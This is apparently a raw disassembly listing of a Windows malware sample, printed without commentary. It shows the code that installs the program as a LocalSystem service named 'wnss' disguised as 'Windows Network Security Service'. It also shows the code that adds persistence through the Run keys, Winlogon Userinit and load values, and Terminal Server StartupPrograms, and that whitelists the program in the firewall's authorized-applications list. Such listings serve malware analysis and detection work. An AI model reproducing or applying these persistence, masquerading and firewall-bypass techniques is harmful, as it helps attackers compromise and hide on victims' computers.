		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	esi, eax
		test	eax, eax
		jz	loc_447445
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aWnss	; "wnss"
		push	esi
		call	dword_411E64
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447392
		call	dword_411CE8
		cmp	eax, 431h
		jnz	short loc_447384
		push	esi
		call	dword_411E50
		call	sub_4471E8
		xor	eax, eax
		inc	eax
		jmp	loc_447445
; ---------------------------------------------------------------------------


loc_447384:				; CODE XREF: sub_44730A+64j
		push	esi
		call	dword_411E50
		xor	eax, eax
		jmp	loc_447445
; ---------------------------------------------------------------------------


loc_447392:				; CODE XREF: sub_44730A+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_4
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D3C
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_4473E7
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_4473E7
		or	edi, 0FFFFFFFFh


loc_4473E7:				; CODE XREF: sub_44730A+CBj
					; sub_44730A+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_447435
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_447435
		or	edi, 0FFFFFFFFh


loc_447435:				; CODE XREF: sub_44730A+119j
					; sub_44730A+126j
		push	ebx
		call	dword_411E50
		push	esi
		call	dword_411E50
		mov	eax, edi


loc_447445:				; CODE XREF: sub_44730A+1Fj
					; sub_44730A+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44730A	endp


; =============== S U B	R O U T	I N E =======================================



sub_44744C	proc near		; CODE XREF: DMN1:00446314p
					; sub_448AD1+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44748E
		push	0F01FFh
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		push	esi
		call	dword_411E68
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		xor	eax, eax
		inc	eax


loc_44748E:				; CODE XREF: sub_44744C+15j
		pop	esi
		pop	ebx
		retn
sub_44744C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447491	proc near		; CODE XREF: DMN1:00447FEDp
					; sub_448AD1+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_449A31
		pop	ecx
		add	ebx, eax
		push	offset aWnss	; "wnss"
		push	ebx
		call	sub_449A51
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E30
		test	eax, eax
		jnz	short loc_44755F
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E44
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_447553
		mov	[ebp+var_409], 0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D38
		test	eax, eax
		jnz	short loc_447553
		xor	esi, esi
		inc	esi


loc_447553:				; CODE XREF: sub_447491+A0j
					; sub_447491+BDj
		push	[ebp+var_404]
		call	dword_411E2C


loc_44755F:				; CODE XREF: sub_447491+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447491	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447567	proc near		; CODE XREF: DMN1:00447FF6p
					; sub_448AD1+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_449A31
		pop	ecx
		add	ebx, eax
		push	offset aWnss	; "wnss"
		push	ebx
		call	sub_449A51
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E24
		test	eax, eax
		jnz	loc_4476DC
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E28
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E28
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		call	sub_449A31
		pop	ecx
		inc	eax
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		call	sub_449A31
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	sub_449A31
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_4476DC:				; CODE XREF: sub_447567+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447567	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
		push	0
		push	0
		push	0
		call	dword_411D40
		mov	ebx, eax
		test	eax, eax
		jz	short loc_447715
		push	ebx
		call	dword_411D44
		mov	esi, eax
		push	ebx
		call	dword_411CF8
		test	esi, esi
		jz	short loc_447713
		xor	eax, eax
		inc	eax
		jmp	short loc_447715
; ---------------------------------------------------------------------------


loc_447713:				; CODE XREF: DMN1:0044770Cj
		xor	eax, eax


loc_447715:				; CODE XREF: DMN1:004476F8j
					; DMN1:00447711j
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447718	proc near		; CODE XREF: sub_447925+89p
					; sub_4479BB+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24
		test	eax, eax
		jnz	short loc_44776A
		push	[ebp+arg_C]
		call	sub_449A31
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_44776A:				; CODE XREF: sub_447718+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_447718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44776E	proc near		; CODE XREF: sub_447876+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_449A31
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_449A31
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4477B2
; ---------------------------------------------------------------------------


loc_447794:				; CODE XREF: sub_44776E+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC
		cmp	eax, 2
		jnz	short loc_4477B0
		mov	eax, esi
		jmp	short loc_4477B8
; ---------------------------------------------------------------------------


loc_4477B0:				; CODE XREF: sub_44776E+3Cj
		inc	esi
		dec	edi


loc_4477B2:				; CODE XREF: sub_44776E+24j
		cmp	edi, ebx
		jge	short loc_447794
		xor	eax, eax


loc_4477B8:				; CODE XREF: sub_44776E+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44776E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4477BF	proc near		; CODE XREF: sub_447876+23p
					; sub_447925+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_4477DA
		test	esi, esi
		jnz	short loc_4477E1


loc_4477DA:				; CODE XREF: sub_4477BF+15j
		xor	eax, eax
		jmp	loc_44786F
; ---------------------------------------------------------------------------


loc_4477E1:				; CODE XREF: sub_4477BF+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30
		test	eax, eax
		jz	short loc_447800
		xor	eax, eax
		jmp	short loc_44786F
; ---------------------------------------------------------------------------


loc_447800:				; CODE XREF: sub_4477BF+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_4499B1
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E44
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E2C
		cmp	[ebp+var_C], 0
		jnz	short loc_447860
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_4
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_44786F
; ---------------------------------------------------------------------------


loc_447860:				; CODE XREF: sub_4477BF+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_44786F:				; CODE XREF: sub_4477BF+1Dj
					; sub_4477BF+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4477BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447876	proc near		; CODE XREF: sub_447925+23p
					; sub_4479BB+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4477BF
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4478C3
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_44776E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4478C1
		xor	eax, eax
		inc	eax
		jmp	short loc_4478C3
; ---------------------------------------------------------------------------


loc_4478C1:				; CODE XREF: sub_447876+44j
		xor	eax, eax


loc_4478C3:				; CODE XREF: sub_447876+2Fj
					; sub_447876+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447876	endp


; =============== S U B	R O U T	I N E =======================================



sub_4478C8	proc near		; CODE XREF: sub_447B54+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_4478E1
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_4478E4
; ---------------------------------------------------------------------------


loc_4478E1:				; CODE XREF: sub_4478C8+11j
		mov	byte ptr [ebx],	0


loc_4478E4:				; CODE XREF: sub_4478C8+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_449A31
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_447904
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_447904:				; CODE XREF: sub_4478C8+36j
		test	esi, esi
		jz	short loc_44791E
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	esi
		call	sub_449A31
		pop	ecx
		add	ebx, eax


loc_44791E:				; CODE XREF: sub_4478C8+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4478C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447925	proc near		; CODE XREF: sub_447B54+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		push	ebx
		push	dword_4128A4
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_447876
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4479B6
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_4477BF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447984
		mov	[ebp+var_2000],	0


loc_447984:				; CODE XREF: sub_447925+56j
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_447718
		add	esp, 10h


loc_4479B6:				; CODE XREF: sub_447925+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4479BB	proc near		; CODE XREF: sub_447B54+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_447876
		add	esp, 10h
		test	eax, eax
		jnz	loc_447A8D
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4477BF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447A1F
		mov	[ebp+var_2000],	0


loc_447A1F:				; CODE XREF: sub_4479BB+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_447A44
		lea	esi, [ebp+var_2000]
		jmp	short loc_447A31
; ---------------------------------------------------------------------------


loc_447A30:				; CODE XREF: sub_4479BB+79j
		inc	esi


loc_447A31:				; CODE XREF: sub_4479BB+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_447A30
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_447A44
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_447A44:				; CODE XREF: sub_4479BB+6Bj
					; sub_4479BB+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_447A6F
		push	offset asc_40E73C ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_447A6F:				; CODE XREF: sub_4479BB+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_447718
		add	esp, 10h


loc_447A8D:				; CODE XREF: sub_4479BB+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4479BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447A93	proc near		; CODE XREF: sub_447B54+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_447876
		add	esp, 10h
		test	eax, eax
		jnz	loc_447B4E
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4477BF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447AF7
		mov	[ebp+var_2000],	0


loc_447AF7:				; CODE XREF: sub_447A93+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_447B1C
		lea	esi, [ebp+var_2000]
		jmp	short loc_447B09
; ---------------------------------------------------------------------------


loc_447B08:				; CODE XREF: sub_447A93+79j
		inc	esi


loc_447B09:				; CODE XREF: sub_447A93+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_447B08
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_447B1C
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_447B1C:				; CODE XREF: sub_447A93+6Bj
					; sub_447A93+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_447718
		add	esp, 10h


loc_447B4E:				; CODE XREF: sub_447A93+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447A93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447B54	proc near		; CODE XREF: sub_448AD1+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		push	1
		push	offset asc_40E700 ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_4478C8
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_447718
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_447718
		add	esp, 10h
		call	sub_447925
		call	sub_4479BB
		call	sub_447A93
		mov	esp, ebp
		pop	ebp
		retn
sub_447B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447BDF	proc near		; CODE XREF: sub_448AD1+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_449B11
		mov	[ebp+var_2000],	0
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A4
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_447718
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_447BDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_447C50	proc near		; CODE XREF: DMN1:00447E6Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE0
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E38
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E3C
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
		push	offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D40
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_447CBA
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_449641
		pop	ecx
		jmp	short loc_447CCD
; ---------------------------------------------------------------------------


loc_447CBA:				; CODE XREF: sub_447C50+5Bj
		call	dword_411CE8
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_449641
		pop	ecx
		pop	ecx


loc_447CCD:				; CODE XREF: sub_447C50+68j
		push	0
		push	0
		push	offset sub_405CA2
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0
		push	0
		push	offset sub_406736
		call	sub_449CF1
		add	esp, 0Ch
		mov	esi, eax


loc_447CF8:				; CODE XREF: sub_447C50:loc_447D47j
		test	ebx, ebx
		jz	short loc_447D32
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_449641
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D48
		mov	edi, eax
		test	edi, edi
		jz	short loc_447D28
		cmp	edi, 1
		jnz	short loc_447D47


loc_447D28:				; CODE XREF: sub_447C50+D1j
		push	1
		call	sub_449DC1
		pop	ecx
		jmp	short loc_447D47
; ---------------------------------------------------------------------------


loc_447D32:				; CODE XREF: sub_447C50+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34
		test	eax, eax
		jnz	short loc_447D47
		push	1
		call	sub_449DC1
		pop	ecx


loc_447D47:				; CODE XREF: sub_447C50+D6j
					; sub_447C50+E0j ...
		jmp	short loc_447CF8
sub_447C50	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_447D65
		cmp	eax, 4
		jz	short loc_447D82
		cmp	eax, 5
		jz	short loc_447D95
		jmp	short locret_447DB8
; ---------------------------------------------------------------------------


loc_447D65:				; CODE XREF: DMN1:00447D57j
		mov	dword_41293C, 4
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_447DB8
; ---------------------------------------------------------------------------


loc_447D82:				; CODE XREF: DMN1:00447D5Cj
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_447DB8
; ---------------------------------------------------------------------------


loc_447D95:				; CODE XREF: DMN1:00447D61j
		mov	dword_41293C, 1
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		push	1
		call	sub_449DC1
		pop	ecx

locret_447DB8:				; CODE XREF: DMN1:00447D63j
					; DMN1:00447D80j ...
		retn	4
; ---------------------------------------------------------------------------
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_449641
		pop	ecx
		push	offset loc_405A2F
		push	off_412958
		call	dword_411E70
		mov	dword_412954, eax
		cmp	dword_412954, 0
		jz	loc_447E9B
		push	1
		push	offset dword_411044
		call	dword_411D04
		push	1Ch
		push	0
		push	offset dword_412938
		call	sub_4499B1
		add	esp, 0Ch
		mov	dword_412938, 110h
		mov	dword_41293C, 2
		and	dword_412940, 0
		mov	dword_412950, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_449641
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		mov	dword_41293C, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_449641
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		call	sub_447C50
; ---------------------------------------------------------------------------
		mov	dword_41293C, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_449641
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_447EA6
; ---------------------------------------------------------------------------


loc_447E9B:				; CODE XREF: DMN1:00447DE3j
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_449641
		pop	ecx

locret_447EA6:				; CODE XREF: DMN1:00447E99j
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_447EA9	proc near		; CODE XREF: DMN1:00447EEFp
					; sub_448AD1+532p
		push	ebx
		call	sub_44642F
		test	eax, eax
		jz	short loc_447EB7
		xor	eax, eax
		jmp	short loc_447EED
; ---------------------------------------------------------------------------


loc_447EB7:				; CODE XREF: sub_447EA9+8j
		mov	eax, off_412958
		mov	dword_41295C, eax
		mov	dword_412960, offset loc_405A9A
		and	dword_412964, 0
		and	dword_412968, 0
		push	offset dword_41295C
